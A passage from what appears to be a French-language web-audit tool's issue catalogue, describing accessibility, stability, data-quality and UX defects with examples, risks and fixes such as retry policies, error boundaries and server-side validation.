aria-labelledby, ou lui donner unaria-labelquand il n'y a pas de titre.
Une image sans description de remplacement alt
Une balise <img> ne déclare aucun attribut alt. Le lecteur d'écran annonce alors le nom du fichier, ou rien. Attention : alt="" est correct et volontaire pour une image purement décorative, ici l'attribut est totalement absent.
- Exemple
<img src="graphique-ca-2026.png">→ annoncé « image graphique tiret c a tiret 2026 point p n g ».- Risque
- Information portée par l'image totalement perdue pour les non-voyants.
- Correction
- Ajouter
alt="description courte de l'information portée", oualt=""si l'image est purement décorative.
Une liste déroulante sans intitulé
Un menu déroulant (<select>) n'expose aucun nom accessible : ni <label> associé, ni aria-label, ni aria-labelledby. Un lecteur d'écran annonce « liste déroulante » sans dire de quoi il s'agit.
- Exemple
- Un filtre de tableau rendu comme un
<select>stylé, dont le seul indice visuel est un texte placé à côté sans lien programmatique. - Risque
- Les personnes utilisant un lecteur d'écran ne peuvent pas savoir ce que le menu contrôle.
- Correction
- Associer un
<label for="…">, ou poser unaria-labeldécrivant ce que la liste filtre.
Une zone qui défile mais que le clavier ne peut pas atteindre
Une zone qui défile ne peut pas recevoir le focus clavier. Une personne qui n'utilise pas la souris ne peut donc pas faire défiler son contenu, et ce qui dépasse lui reste inaccessible.
- Exemple
- Un tableau large dans un conteneur
overflow: autosanstabindex="0". - Risque
- Du contenu devient littéralement inatteignable sans souris.
- Correction
- Ajouter
tabindex="0"sur le conteneur défilant, et un nom accessible décrivant son contenu.
Stabilité
26Ce qui tient sous une panne, un rechargement ou un lien ouvert directement.
Au rejeu, l’effet attendu n’a pas eu lieu
Le modèle du parcours attend une écriture (requête POST/PUT/PATCH) à cette étape ; le rejeu ne l’a pas observée. Soit l’action n’a rien déclenché, soit elle a échoué silencieusement.
- Exemple
- Le parcours « Inviter un membre » attendait
POST /api/invitationsaprès le clic sur Envoyer ; aucune requête de ce type n’a été vue. - Risque
- L'action que l'utilisateur croit avoir effectuée n'a en réalité aucun effet côté serveur.
- Correction
- Rejouer le parcours manuellement pour confirmer, puis vérifier le handler et le réseau à cette étape.
Au rejeu, un appel imprévu s’est glissé
Le rejeu a observé une requête que le modèle n'attendait pas à cette étape, un effet de bord qui n'existait pas quand le parcours a été appris.
- Exemple
- Un appel
GET /api/analyticssupplémentaire apparaît là où seule la navigation était attendue. - Risque
- Effet de bord non maîtrisé (tracking ajouté, appel redondant, fuite de requête).
- Correction
- Vérifier si la requête est un ajout légitime (à documenter) ou un effet de bord à supprimer.
Au rejeu, une étape a mené ailleurs que prévu
Le modèle attend d’atterrir sur un état donné (route ou sous-état) après cette étape ; le rejeu a atterri ailleurs.
- Exemple
- Après soumission du formulaire d’invitation, le modèle attend
/team; le rejeu montre/error. - Risque
- Le parcours ne mène plus là où l'utilisateur s'y attend, casse un enchaînement métier.
- Correction
- Comparer manuellement la trace attendue et observée pour situer la divergence côté front ou back.
Aucune nouvelle tentative après un échec maintenu retry
Un appel de données a été maintenu en échec pendant une fenêtre d'observation et l'application n'a plus jamais retenté cet appel : la première réponse en erreur a été définitive.
- Exemple
- Un
fetchsans bloccatchde nouvelle tentative : l'échec est traité une fois et jamais revisité. - Risque
- Une panne transitoire de quelques secondes prive durablement la personne de la donnée.
- Correction
- Retenter les échecs transitoires (5xx, timeout) avec un nombre de tentatives borné et un délai croissant, jamais les erreurs 4xx.
Des éléments changent d’habillage d’un chargement à l’autre classes CSS
Entre deux captures successives de la page, l'attribut class d'un même élément a changé. Sur les SPA modernes (Tailwind, Headless UI, CSS-in-JS) ce code est extrêmement bruyant : un hover, un focus, un état loading, une transition framer-motion déclenchent constamment des changements. Utile pour détecter des dérives DOM massives (rerender complet, instabilité de layout), peu actionnable pour les petites variations.
- Exemple
- Bouton qui ajoute/retire
hover:bg-primary-600au survol → diff détecté à chaque snapshot. - Risque
- Faux positifs massifs sur les SPA Tailwind : 1 page = des centaines d'occurrences sans incident métier.
- Correction
- Si l'app utilise Tailwind / Headless UI / framer-motion : masquer ce code via la Config Gates pour ne garder que les drifts structurels. Sinon, préférer des
data-testidstables et investiguer les composants qui rerendent en boucle.
Des éléments changent d’identifiant d’un chargement à l’autre id
Entre deux captures, l'attribut id d'un même élément a changé. Indique souvent un ID généré dynamiquement (uuid au mount) qui casse les ancres, les sélecteurs de tests et les hooks d'accessibilité (aria-labelledby).
- Exemple
- ID
radix-:r3:régénéré à chaque montage → tests Playwright qui ciblent l'ID cassent. - Risque
- Tests E2E flaky sur les sélecteurs
#id. - Correction
- Utiliser
useId()(React) ou des IDs stables, et exposer desdata-testidpour les sélecteurs de test.
Des identifiants changent d’un chargement à l’autre id
Entre deux chargements identiques de la même URL, l'attribut id d'un même élément a changé. Typiquement un identifiant généré à la volée (uuid, compteur de montage) au lieu d'un identifiant stable.
- Exemple
- ID
radix-:r3:régénéré à chaque montage : le test Playwright qui cible#radix-:r3:casse au run suivant. - Risque
- Ancres internes qui ne pointent plus sur rien après un redéploiement ou un rechargement.
- Correction
- Générer les identifiants avec une API déterministe (
useId()en React,useId()en Vue 3.5+) et exposer undata-testidstable pour les sélecteurs de test.
Écran vide quand le serveur ne répond pas
Une seule requête de données (fetch / XHR) a été interrompue et la page entière s'est vidée. Le rendu dépend d'un appel unique sans aucune dégradation gracieuse : pas de contenu partiel, pas de message d'erreur.
- Exemple
- Une erreur non rattrapée dans le chargement des données fait remonter l'exception jusqu'à la racine et démonte tout l'arbre.
- Risque
- Un incident réseau ponctuel blanchit l'écran au lieu de dégrader l'expérience.
- Correction
- Isoler chaque zone dépendante d'une requête derrière une frontière d'erreur qui affiche un message et un bouton « réessayer », plutôt que de laisser l'exception démonter la page.
L’erreur brute d’un service tiers atteint la personne qui utilise l’application error propagation
Un domaine tiers a répondu en erreur, et son message technique (code, texte brut) est arrivé jusqu'à l'écran sans avoir été reformulé pour la personne qui le lit.
- Exemple
- Un
alert(error.message)qui affiche le message d'erreur renvoyé tel quel par le fournisseur. - Risque
- La personne qui lit le message n'a aucune raison de connaître le vocabulaire d'un fournisseur dont elle ignore l'existence.
- Correction
- Traduire toute erreur de service tiers en message générique et actionnable avant affichage.
L’ordre des éléments change d’un chargement à l’autre
L'ordre des éléments dans le DOM a changé entre deux snapshots, sans interaction utilisateur. Symptôme de tri non déterministe, de rerender qui réinjecte les noeuds, ou de stratégie de virtualisation instable.
- Exemple
- Liste triée par
Object.keys()sur un objet → ordre dépendant de l'implémentation moteur JS. - Risque
- Cliques utilisateur qui atterrissent sur le mauvais élément (race condition).
- Correction
- Trier explicitement (
array.sort((a, b) => a.id - b.id)) et utiliser deskeystables React/Vue.
La panne d’un service tiers entraîne celle de fonctions qui n’en dépendent pas bulkhead
Un domaine tiers précis a été coupé, et une capacité de l'application qui n'en dépend pas a cessé de fonctionner (page vide, erreur globale) au lieu de continuer normalement.
- Exemple
- Un script analytique ou un widget de chat chargé de façon bloquante avant le reste de l'application.
- Risque
- Toute l'application dépend, sans le savoir, de la disponibilité d'un fournisseur secondaire.
- Correction
- Charger les intégrations tierces de façon non bloquante et entourer leur échec d'une gestion d'erreur qui ne remonte jamais jusqu'à casser le reste de la page.
Le délai annoncé par le serveur avant de retenter n’est pas respecté Retry-After
Le serveur a répondu avec un en-tête Retry-After demandant d'attendre un délai donné, et l'application a retenté l'appel avant que ce délai ne soit écoulé.
- Exemple
- Une politique de retry à intervalle fixe qui ne lit jamais les en-têtes de la réponse en erreur.
- Risque
- Le client ajoute de la charge à un service qui a explicitement demandé un délai.
- Correction
- Lire
Retry-Afterquand il est présent et attendre au moins ce délai avant la tentative suivante.
Les appels continuent d’attendre aussi longtemps après plusieurs échecs circuit breaker
Après plusieurs échecs consécutifs sur le même appel, les tentatives suivantes attendent encore une réponse aussi longtemps que la toute première : rien ne raccourcit l'attente une fois la panne installée.
- Exemple
- Un appel HTTP sans disjoncteur : chaque nouvel essai attend le même délai d'expiration que le premier.
- Risque
- Un service qui répond lentement plutôt que de tomber franchement épuise progressivement les ressources de qui l'appelle.
- Correction
- Ouvrir un disjoncteur après quelques échecs consécutifs : rejeter les appels suivants immédiatement, puis retester périodiquement.
Les tentatives reviennent toujours au même rythme exponential backoff
L'écart entre les tentatives successives reste constant au lieu de croître : la politique de retry ne ralentit jamais, même après plusieurs échecs de suite sur le même appel.
- Exemple
- Un
setIntervalqui relance le même appel toutes les deux secondes, indépendamment du résultat. - Risque
- En cas de panne partagée par plusieurs clients, tout le monde retente au même rythme, ce qui peut empêcher le service de jamais rattraper la charge.
- Correction
- Faire croître le délai entre tentatives (par exemple ×2 à chaque échec), avec un plafond.
Page blanche
La page s’est chargée mais son contenu apparaît vide (aucun contenu visible détecté). Symptôme classique d’un crash au montage ou d’un rendu côté client qui n’aboutit jamais.
- Exemple
- Une SPA qui plante avant l’hydratation : le
<div id="app">reste vide. - Risque
- Page totalement inutilisable pour l’utilisateur.
- Correction
- Vérifier la console pour l’exception au montage, s’assurer que la route rend un contenu (ou un état de chargement/erreur) dans tous les cas.
Un chargement qui ne se termine jamais
Un indicateur de chargement (spinner, squelette, aria-busy) était toujours présent après le délai d'attente du crawler, sur une page quasi vide. Le contenu réel n'est jamais arrivé : la page est restée coincée sur son état de chargement.
- Exemple
- La liste des leads affiche son squelette puis reste vide : la requête
GET /api/leadsa échoué en silence. - Risque
- L'utilisateur fait face à un écran vide ou perpétuellement en attente, sans comprendre ce qui se passe.
- Correction
- Gérer l'état d'erreur du chargement (message + retry) et poser un timeout ; ne jamais laisser un squelette sans issue.
Un détail technique brut reste affiché pendant la panne stack trace
Pendant que l'appel de données échouait, une pile d'appel ou un objet d'erreur sérialisé est resté visible dans la page, au lieu d'un message pensé pour la personne qui la lit.
- Exemple
- Un
catch (e) { element.textContent = e.stack }affiche la pile JavaScript telle quelle. - Risque
- Une pile d'appel peut nommer des fichiers, des fonctions ou des dépendances internes.
- Correction
- Traduire toute erreur technique en message destiné à la personne avant affichage ; réserver la pile d'appel aux journaux.
Un écran vide là où une erreur devrait être annoncée
Quand une requête de données échoue, l’erreur est avalée et l’écran affiche un vide qui ressemble à un état vide normal : l’utilisateur ne sait pas qu’un problème est survenu et une action peut sembler réussir alors qu’elle a échoué.
- Exemple
- Une liste (membres, historique) s’affiche vide parce que le fetch a renvoyé une erreur silencieusement traitée comme
[]. - Risque
- Perte de confiance et confusion : un échec ressemble à un état normal.
- Correction
- Distinguer explicitement « vide » de « erreur » : afficher un état d’erreur avec possibilité de réessayer quand un chargement échoue.
Un élément apparaît au second chargement
Un élément absent au premier chargement apparaît au second. Sur une SPA c'est très souvent bénin (portail, toast, squelette remplacé, balise <style> injectée par le moteur CSS-in-JS). Le signal ne devient intéressant qu'en volume ou en répétition sur le même conteneur.
- Exemple
- Toast de bienvenue affiché après 500 ms : présent dans une capture, absent dans l'autre.
- Risque
- Bruit important sur les SPA : des centaines d'occurrences sans incident métier réel.
- Correction
- Vérifier que chaque effet monté rend bien une fonction de nettoyage, et que les portails/modales sont démontés ; sinon masquer ce code via les Config Gates si la stack l'émet structurellement.
Un élément apparaît d’un chargement à l’autre
Entre deux snapshots, un noeud est apparu sans déclencheur métier. Sur SPA, généralement bénin (portails, modals lazy, toasts). Sur certaines apps c'est le signe d'un effet useEffect qui s'exécute en boucle.
- Exemple
- Modal qui se monte lors d'un fetch silencieux → noeud ajouté pour rien.
- Risque
- Fuite DOM : accumulation de noeuds invisibles non nettoyés.
- Correction
- Vérifier les
useEffectsans cleanup, et que les modals/portails sont bien démontés après usage.
Un élément disparaît d’un chargement à l’autre
Entre deux snapshots, un noeud a disparu sans action utilisateur. Souvent bénin sur SPA (rerender, splash, loader), parfois indicateur d'un crash silencieux d'un sous-composant capturé par un ErrorBoundary.
- Exemple
- Carte produit qui disparaît après un fetch d'image en 404 → ErrorBoundary mute silencieusement.
- Risque
- Sections critiques qui disparaissent sans message utilisateur (silent fail).
- Correction
- Vérifier les ErrorBoundary : remplacer 'rien' par un message d'erreur visible, et logguer le crash.
Un élément manque au second chargement
Un élément présent au premier chargement n'apparaît pas au second, à URL et état identiques. Le rendu dépend donc de quelque chose qui n'est pas garanti : une course réseau, un cache tiède, ou un sous-arbre qui a échoué sans message.
- Exemple
- Section « recommandations » rendue seulement si une API secondaire répond avant le premier rendu.
- Risque
- Contenu métier invisible pour une partie des utilisateurs, sans aucune erreur remontée.
- Correction
- Rendre l'affichage indépendant de l'ordre d'arrivée des réponses (état de chargement explicite) et remplacer tout repli
nulld'ErrorBoundary par un message visible plus un log.
Une adresse directe renvoie ailleurs
Ouvrir l'écran par son adresse (lien partagé, favori, rechargement) n'y mène pas : l'application redirige ailleurs, le plus souvent vers la connexion.
- Exemple
- /projects ouvert directement renvoie sur /login alors que la session existe.
- Risque
- Un lien partagé ou un favori ne fonctionne pas.
- Correction
- Restaurer la session au chargement direct avant de rediriger ; vérifier que l'état d'authentification survit à un rechargement.
Une attente sur un service tiers ne se termine jamais timeout
Une requête vers un domaine tiers a été retardée au-delà de dix secondes, et l'indicateur de chargement est resté affiché sans qu'aucun abandon ni message ne se déclenche.
- Exemple
- Un appel
fetchsansAbortSignal.timeout()ni délai d'expiration configuré. - Risque
- L'utilisateur ne sait pas si l'application a planté ou si elle travaille encore.
- Correction
- Fixer un délai d’expiration explicite sur tout appel vers un service tiers, avec un message en cas de dépassement.
Une erreur de requête est retentée comme si elle pouvait réussir 4xx
L'appel a échoué avec un code indiquant un problème dans la requête elle-même (400, 404…), et l'application l'a retenté à l'identique : le résultat sera pourtant toujours le même.
- Exemple
- Un intercepteur HTTP générique qui retente toute réponse en erreur, sans distinguer le code.
- Risque
- La charge est gaspillée sur un appel dont l'issue est déjà connue.
- Correction
- Ne retenter que les codes transitoires (429, 5xx, timeout) ; traiter un 4xx comme définitif.
Une panne du serveur passe sans un mot pour la personne
Une requête a été interrompue et l'interface n'a rien changé : aucun message, aucun état d'erreur, aucune alerte. Si la donnée manquante était structurante, l'utilisateur consulte une vue incomplète sans le savoir.
- Exemple
- Un
catchqui se contente de logguer en console et laisse l'écran inchangé. - Risque
- Décisions prises sur des données partielles présentées comme complètes.
- Correction
- Rattraper l'échec au niveau du composant et le rendre visible (bandeau, toast, état d'erreur local) ; réserver le log console au diagnostic, jamais comme seule réaction.
Qualité
23La tenue générale : textes, images, liens, cohérence d’un écran à l’autre.
Le même identifiant apparaît deux fois dans une même liste
Une liste ou un tableau d’au moins trois lignes affiche deux fois le même identifiant (numéro de commande, référence, identifiant) sur des lignes différentes.
- Exemple
- La commande « CMD-1042 » apparaît en ligne 3 et en ligne 9 d’un même tableau de commandes.
- Risque
- Une action lancée sur « la » ligne devient ambiguë : laquelle des deux a été modifiée ou supprimée ?
- Correction
- Vérifier la clé d’unicité côté source (contrainte d’unicité en base, déduplication à l’agrégation) plutôt que côté affichage.
Les erreurs de saisie sont renvoyées en texte libre Problem+JSON
Les erreurs de validation sont renvoyées en texte brut ('email is required') au lieu du format standardisé Problem Details for HTTP APIs (RFC 9457). Les clients API ne peuvent pas traiter les erreurs de façon programmatique et l'expérience utilisateur se dégrade (messages incohérents, pas de mapping vers les champs de formulaire).
- Exemple
- POST
/api/usersrépond 400 avec body"Email is required and password must be at least 8 characters"→ le front ne sait pas quel champ surligner. - Risque
- Front incapable d'afficher des messages d'erreur cohérents et localisés.
- Correction
- Adopter le format RFC 9457 (Problem+JSON) :
{ type, title, status, detail, errors: [{ field, code, message }] }côté API.
Un champ non prévu est accepté et renvoyé tel quel additionalProperties
Un champ que le formulaire ne proposait pas est ajouté à la requête, et l'API le renvoie dans sa réponse : elle ne filtre donc pas les champs qu'elle reçoit. Un champ sensible (rôle, statut, identifiant d'un tiers) ajouté de la même façon prendrait le même chemin.
- Exemple
- POST
/api/notesavec un champrole: "admin"ajouté à la main se retrouve dans la réponse : rien ne l’a filtré. - Risque
- Assignation de masse : un client peut modifier un champ qu'aucune interface ne lui propose (rôle, statut, propriétaire).
- Correction
- Refuser ou ignorer explicitement les champs non déclarés au schéma (
additionalProperties: falseen JSON Schema,.strict()en Zod).
Un écran que rien ne permet d’atteindre route orpheline
Une route déclarée dans le routeur de l'application (lue dans le bundle JS) n'a été atteinte par aucun lien pendant le crawl. La navigation vers cet écran se fait par un handler JS, pas par un <a href> : la destination est invisible au clavier, aux robots et à l'audit.
- Exemple
- Le bundle déclare
/stats,/team,/workspacesmais aucun lien de la nav n'y mène : on y va par un menu ou une carte cliquable. - Risque
- Écrans inaccessibles aux utilisateurs naviguant au clavier ou au lecteur d'écran.
- Correction
- Exposer la navigation vers ces routes par de vrais
<a href>; réserver les handlers JS aux actions sans changement d’URL.
Un écran réservé que l’audit n’a pas pu ouvrir route protégée
Une route déclarée dans le bundle n'a pas été atteinte parce qu'elle est protégée (login, register, espace admin). C'est un fait sur le périmètre du crawl, pas un défaut de l'application.
- Exemple
- Les routes
/admin/*ne sont pas atteintes : le compte de crawl n'a pas le rôle plateforme. - Risque
- Aucun risque applicatif direct : information sur ce que le crawl ne pouvait pas voir.
- Correction
- Fournir un compte aux droits suffisants (ou un flux d'invitation) pour couvrir ces zones si nécessaire.
Un élément nécessaire au scénario n’a pas pu être créé
Un scénario d’audit dépendait d’une entité à créer au préalable (ex : créer un membre avant de tester son édition), mais cette création a échoué. Les étapes suivantes n’ont pas pu être auditées.
- Exemple
- Impossible de créer un enregistrement de test → le parcours d’édition n’est pas exploré.
- Risque
- Couverture d’audit incomplète sur les parcours dépendants.
- Correction
- Vérifier le formulaire/endpoint de création ; corriger l’erreur pour débloquer les scénarios dépendants.
Un horodatage de dernière mise à jour n’a pas bougé depuis longtemps
Un texte du type « Dernière mise à jour » ou « Last updated » affiche une date de plus de 90 jours avant l’audit.
- Exemple
- Une fiche produit indique « Dernière mise à jour : 12/03/2024 » un an après cette date.
- Risque
- La personne qui lit cette date s’y fie pour juger la fraîcheur de la donnée, à tort si elle n’est plus rafraîchie.
- Correction
- Vérifier que le champ de mise à jour est bien réécrit à chaque changement réel, et alerter si sa fraîcheur dépasse un seuil.
Un lien cassé
Un lien pointe vers une cible inaccessible (4xx/5xx) ou invalide. La source (anchor, bouton, dropdown, programmatique) est indiquée dans le détail.
- Exemple
/dashboard/old -> 404référencé depuis un<a>du menu.- Risque
- Impasse de navigation et frustration utilisateur.
- Correction
- Corriger ou supprimer la cible morte ; pour un bouton, vérifier le handler de navigation.
Un lien interne vers une page introuvable 404
Un lien interne pointe vers une page qui n'existe plus. Souvent un slug renommé sans redirect.
- Exemple
- Lien menu vers
/old-featuresupprimé après refactor. - Risque
- Parcours utilisateur cassé.
- Correction
- Mettre en place une redirection 301 ou corriger le lien.
Un lien vers un site extérieur qui ne répond plus
Un lien sortant pointe vers une ressource qui répond en erreur (4xx/5xx). L'utilisateur tombe sur une page d'erreur.
- Exemple
- Un lien vers un article tiers supprimé renvoie un 404.
- Risque
- Crédibilité éditoriale entamée.
- Correction
- Corriger ou retirer le lien ; mettre en place une vérification périodique des liens sortants.
Un texte affiché sous sa forme de clé, non traduit i18n
Une clé d’internationalisation apparaît telle quelle dans le DOM (ex : dashboard.title) au lieu du texte traduit. La chaîne n’a pas été résolue par le système i18n.
- Exemple
members.emptyStateaffiché brut à la place de « Aucun membre ».- Risque
- Interface non professionnelle et déroutante pour l’utilisateur.
- Correction
- Ajouter la clé manquante dans les fichiers de traduction ou corriger le namespace/chemin utilisé.
Une cellule est vide alors que la même colonne est remplie ailleurs
Dans un même tableau, une colonne porte une valeur sur certaines lignes et rien du tout sur d’autres : la donnée existe pour ce champ, elle manque juste sur cet enregistrement.
- Exemple
- La colonne « Client » est renseignée sur 9 lignes sur 10 d’un tableau de commandes, vide sur la dixième.
- Risque
- Un traitement en aval qui suppose le champ toujours rempli peut échouer ou produire un résultat incorrect sur cette ligne.
- Correction
- Rendre le champ obligatoire à la saisie ou à l’import, ou documenter explicitement pourquoi il peut manquer.
Une erreur affiche un détail technique interne trace / SQL
Le corps d'une réponse en erreur contient un détail qui n'a rien à faire côté client : une trace d'exécution, une requête écrite en clair, ou le nom d'une table de base de données. Ce détail donne à qui l'observe une longueur d'avance pour cartographier le système.
- Exemple
- POST
/api/usersrépond 500 avecat Object.<anonymous> (/app/src/users.js:42:17)dans le corps. - Risque
- Reconnaissance facilitée pour un attaquant (chemins de fichiers, noms de tables, bibliothèques utilisées).
- Correction
- Attraper les erreurs avant leur sortie et ne renvoyer côté client qu’un message générique ; garder la trace dans les journaux serveur.
Une erreur dans le code de la page JavaScript
Une exception JavaScript a été levée pendant le chargement ou l’interaction avec la page. Une erreur non gérée interrompt le script en cours et peut laisser l’interface dans un état incohérent.
- Exemple
Uncaught TypeError: Cannot read properties of undefined (reading 'map'): une donnée attendue est absente.- Risque
- Fonctionnalité inutilisable : le bouton ou l’écran concerné ne répond plus.
- Correction
- Ouvrir la console, reproduire le scénario, corriger la cause racine (donnée manquante, accès null) et ajouter une garde défensive ou un error boundary.
Une erreur de saisie ne dit pas quel champ est en cause field / violations
Une réponse d'erreur (4xx) ne porte ni field, ni path, ni une liste violations/errors. Le client ne peut deviner laquelle de ses données a été refusée : il ne peut ni surligner le bon champ de formulaire, ni écrire un traitement automatique par champ.
- Exemple
- POST
/api/ordersrépond 422 avec{ "title": "Validation failed" }: rien ne dit si c’estquantityoucustomerIdqui est en cause. - Risque
- Formulaire incapable de surligner le champ fautif.
- Correction
- Ajouter
violations: [{ field, message }](ouerrors) à chaque réponse de validation, même minimaliste.
Une erreur technique se produit pendant que la page fonctionne TypeError: Cannot read properties of null
Le navigateur signale une erreur JavaScript de lecture sur une valeur absente pendant la visite : le code s’attendait à recevoir une donnée qui n’était pas là.
- Exemple
- Une réponse d’API renvoie
"customer": nullet l’écran tente de lirecustomer.name. - Risque
- Une partie de l’écran peut rester incomplète, figée ou muette sans aucun message pour la personne.
- Correction
- Vérifier la présence de la valeur avant de lire ses propriétés, et donner une valeur de repli explicite côté API ou côté rendu.
Une image qui ne s’affiche pas
Une image référencée par la page n’a pas pu être chargée (requête HTTP en échec). L’emplacement reste vide ou affiche l’icône d’image cassée.
- Exemple
<img src="/logo.png">renvoyant 404.- Risque
- Rendu dégradé et perte de contenu visuel (logo, illustration).
- Correction
- Corriger l’URL de l’image, vérifier sa présence sur le serveur/CDN et réserver width/height.
Une incohérence métier n’est pas bloquée à la soumission
Une date de fin antérieure à la date de début, ou un montant négatif, est acceptée avec un code de succès. La saisie est syntaxiquement valide (un format de date correct, un nombre) mais sémantiquement absurde pour le métier : et rien ne l'arrête avant qu'elle ne traverse le système.
- Exemple
- POST
/api/bookingsavec une date de fin antérieure à la date de début répond 201. - Risque
- Donnée métier absurde qui traverse le système jusqu'à un rapprochement comptable ou un rapport, des mois plus tard.
- Correction
- Ajouter une validation croisée entre champs (date de fin postérieure à la date de début, montant positif) avant d'enregistrer.
Une saisie incorrecte fait planter le serveur au lieu d’être refusée HTTP 500
Une entrée invalide côté client provoque une erreur 500 côté serveur au lieu d'un 400/422. Symptôme d'une absence de validation amont : l'erreur fuite sur la couche métier, expose potentiellement des détails techniques (stack trace, chemins de fichiers, requêtes SQL) et brouille la distinction entre bug utilisateur et bug serveur.
- Exemple
- Un POST
/api/usersavecemail: nullrépond 500 avecTypeError: Cannot read properties of null (reading 'toLowerCase'). - Risque
- Fuite de détails techniques internes (stack traces, schémas DB) → reconnaissance facilitée pour un attaquant.
- Correction
- Ajouter une validation explicite en entrée (Zod, Joi, class-validator) qui renvoie un 400 structuré avant d'atteindre la couche métier.
Une saisie invalide est acceptée alors qu’elle aurait dû être refusée
En retirant un champ obligatoire ou en forçant une valeur d'un type incorrect, l'appel obtient tout de même un code de succès. La validation de schéma annoncée par l'API n'est vérifiée que côté client : un appel direct à l'API la contourne entièrement.
- Exemple
- POST
/api/orderssanscustomerIdrépond 201 : le champ obligatoire n’est pas vérifié côté serveur. - Risque
- Données corrompues qui traversent le système et échouent plus loin, avec un message incompréhensible.
- Correction
- Valider le corps de la requête côté serveur avec un schéma (Zod, Joi, class-validator) avant tout traitement métier.
Une valeur affichée ne respecte pas le format attendu
Une valeur affichée dans une colonne dont le nom indique clairement son format (courriel, date, montant) ne respecte pas ce format : un courriel sans arobase, une date non interprétable, un montant négatif sur un libellé de prix.
- Exemple
- Colonne « Email » : « jean.dupontexample.com » sans arobase.
- Risque
- Une donnée mal formée à l’affichage l’est souvent aussi à la source, avec un risque d’échec silencieux plus loin (envoi d’un courriel, calcul d’un total).
- Correction
- Valider le format à la saisie ou à l’import, avant que la valeur n’atteigne l’affichage.
Une valeur extrême fait planter le formulaire au lieu d’être refusée
Une valeur de bordure (une chaîne de 300 caractères, du texte accentué ou en idéogrammes, un nombre négatif) provoque une erreur serveur (500) ou fait fuir un détail interne, là où une valeur ordinaire aurait été acceptée ou proprement refusée. Un jeu de données de test réaliste aurait détecté ce cas avant la mise en production.
- Exemple
- Un commentaire de 300 caractères envoyé à
/api/commentsrépond 500 avec une trace d’exécution dans le corps. - Risque
- Panne déclenchée par une saisie ordinaire (un utilisateur qui colle un texte long, un nom avec un accent).
- Correction
- Ajouter des bornes de longueur/format explicites au schéma de validation et des cas de test avec des valeurs de bordure (vide, très long, unicode, négatif).
Une valeur technique s’affiche à la place d’une vraie donnée null / undefined / NaN / [object Object] / Invalid Date
Le texte affiché contient un mot que seul un programme produit (« null », « undefined », « NaN », « [object Object] » ou « Invalid Date ») signe qu’une valeur absente ou d’un type inattendu a traversé le rendu sans être interceptée.
- Exemple
- Une fiche client affiche « Téléphone : null » au lieu de masquer la ligne.
- Risque
- Perte de confiance immédiate : la personne voit que l’application « fuit » son fonctionnement interne.
- Correction
- Donner une valeur de repli à chaque champ optionnel avant affichage (chaîne vide, tiret, ou ligne masquée) plutôt que de laisser passer la valeur brute.
Expérience
19Ce que la personne voit et touche : tailles d’écran, gestes, zones cliquables.
Des boutons auxquels rien n’est relié sans handler
Des boutons n'ont aucun gestionnaire d'événement (onClick JS, attribut formaction, lien). Clic = rien.
- Exemple
- Un bouton 'Sauvegarder' sans handler → l'utilisateur clique 5 fois, rien ne se passe, abandon.
- Risque
- Confusion utilisateur, abandon de workflow.
- Correction
- Soit ajouter le handler manquant, soit retirer le bouton du DOM.
Des champs de saisie hors de tout formulaire
Des champs <input> ne sont rattachés à aucun <form>. Pas de validation HTML5, pas de soumission par Entrée, autofill cassé.
- Exemple
- Champ de recherche sans
<form>→ l'utilisateur tape Entrée, rien. - Risque
- UX clavier cassée (Entrée ne soumet pas).
- Correction
- Englober dans un
<form>(même sansaction) et brancher un handler de submit.
Des éléments cliquables qui se chevauchent
Deux éléments interactifs (boutons, liens) se recouvrent à plus de 30 % de la surface du plus petit. Les taps atterrissent sur la mauvaise cible.
- Exemple
- Deux boutons d'action « en escalier » qui se superposent dans un header comprimé à 375px.
- Risque
- Taps sur la mauvaise cible → actions non désirées.
- Correction
- Empiler les actions (
grid grid-cols-2 sm:flex) et garantir des cibles séparées d'au moins 44px.
Des liens qui ne mènent nulle part
Des balises <a> sans href ou avec href='#' qui ne déclenchent rien. Visuellement c'est un lien, fonctionnellement c'est mort.
- Exemple
<a href='#'>En savoir plus</a>sans JS → clic remonte en haut de page.- Risque
- Frustration utilisateur, perte de confiance.
- Correction
- Remplacer par un vrai
hrefou un<button>selon la sémantique.
Des onglets qui ne changent rien quand on les choisit
Des onglets sont présents visuellement mais ne changent pas de contenu au clic. UI trompeuse.
- Exemple
- Onglets stylisés sans JS branché → clic = pas de changement.
- Risque
- Utilisateur croit que des contenus manquent.
- Correction
- Brancher la logique de switch + gérer
aria-selected/tabpanel.
Des zones à toucher sous la taille recommandée 44×44 px
Élément interactif entre 24 et 44 px sur mobile. Il **respecte** le critère normatif WCAG 2.5.8 (AA, 24×24) et reste sous la recommandation WCAG 2.5.5 (AAA, 44×44) et les guides Apple/Material. C'est une recommandation, pas une non-conformité.
- Exemple
- Bouton icône de 32 px dans une barre d'outils.
- Risque
- Précision du doigt dégradée en mobilité ; ce n'est pas un échec d'accessibilité.
- Correction
- Élargir la zone cliquable (padding) sans forcément agrandir le visuel.
Du contenu tronqué par sa propre carte
Le contenu propre d'un élément déborde de sa zone visible et est masqué par un ancêtre overflow: hidden/clip (une carte), sans indicateur. Invisible au check de débordement viewport car le rect reste dans l'écran.
- Exemple
- Une valeur de métrique
Critique 5.00scoupée par la carte Configuration à 375px. - Risque
- Information tronquée et illisible.
- Correction
- Utiliser
flex-wrap,min-w-0+truncatemaîtrisé, ou empiler en colonne sous le breakpoint.
La page déborde de l’écran sur ordinateur
Sur le viewport desktop (>= 1280px), le contenu déborde horizontalement. Problème de layout visible pour tous les utilisateurs : largeur de conteneur mal calibrée, élément avec min-width excessive, image non contrainte, etc.
- Exemple
- Un tableau de 20 colonnes force un scroll horizontal sur le viewport principal : UX très dégradée.
- Risque
- Layout perçu comme cassé sur la résolution la plus commune en desktop.
- Correction
- Identifier l'élément débordant (DevTools
* { outline: 1px solid red }), appliquermax-width: 100%etoverflow-x: autoaux conteneurs concernés.
La page déborde de l’écran sur tablette
Sur le viewport tablette (768-1024px), le contenu déborde horizontalement et force un scroll latéral. Format pourtant courant pour la consultation de contenu (iPad, Surface) : l'expérience est dégradée pour une part significative des utilisateurs.
- Exemple
- Tableau de bord admin qui s'affiche bien sur desktop mais déborde sur iPad portrait : l'utilisateur doit scroller pour voir les boutons d'action.
- Risque
- Expérience dégradée sur un format représentant 5-15 % du trafic selon les secteurs.
- Correction
- Ajouter un breakpoint tablette dédié (
@media (max-width: 1024px)) et utilisermax-width: 100%sur les conteneurs qui ne respectent pas le viewport.
La page introuvable est celle du serveur, pas de l’application 404
Les URL inexistantes renvoient une page d'erreur serveur brute au lieu d'une 404 maison : UX pauvre et fuite éventuelle de la stack.
- Exemple
- Une URL erronée affiche la page
404 Not Foundpar défaut de Nginx. - Risque
